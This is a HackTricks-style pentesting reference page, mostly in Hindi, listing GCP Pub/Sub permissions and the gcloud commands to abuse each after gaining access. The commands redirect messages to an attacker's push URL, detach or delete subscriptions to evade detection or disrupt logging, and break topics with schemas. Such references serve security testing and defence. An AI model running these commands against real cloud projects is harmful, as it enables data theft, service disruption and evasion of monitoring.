GCP - Pub/Sub Post Exploitation

Support HackTricks

Pub/Sub

Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:

GCP - Pub/Sub Enum

pubsub.topics.publish

एक विषय में एक संदेश प्रकाशित करें, अप्रत्याशित डेटा भेजने और अप्रत्याशित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का शोषण करने के लिए उपयोगी:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

संदेश प्राप्त करने से एक सदस्यता को रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए। यह एक विषय को हटाना संभव है, भले ही इसके साथ सदस्यताएँ जुड़ी हों।

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

इस अनुमति का उपयोग किसी विषय की कुछ सेटिंग को अपडेट करने के लिए करें, जैसे --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

अपने लिए किसी भी पिछले हमले को करने की अनुमति दें।

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

एक वेब सर्वर में सभी संदेश प्राप्त करें:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

एक सदस्यता बनाएं और इसका उपयोग संदेश खींचने के लिए करें:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

एक सदस्यता हटाना लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

इस अनुमति का उपयोग कुछ सेटिंग्स को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह पर संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

अपने आपको उन अनुमतियों दें जो पहले टिप्पणी किए गए हमलों को करने के लिए आवश्यक हैं।

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

एक स्कीमा को एक विषय से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए विषय बाधित हो जाए। यदि कोई स्कीमा नहीं है, तो आपको एक बनाने की आवश्यकता हो सकती है।

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा के अनुरूप नहीं हैं। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई भी संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह व्यर्थ है:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

अपने आपको उन अनुमतियों को दें जो पहले टिप्पणी किए गए हमलों को करने के लिए आवश्यक हैं।

pubsub.snapshots.create, pubsub.snapshots.seek

यह सभी अनACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। हमलावर के लिए बहुत उपयोगी नहीं है लेकिन यहाँ यह है:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Support HackTricks

Last updated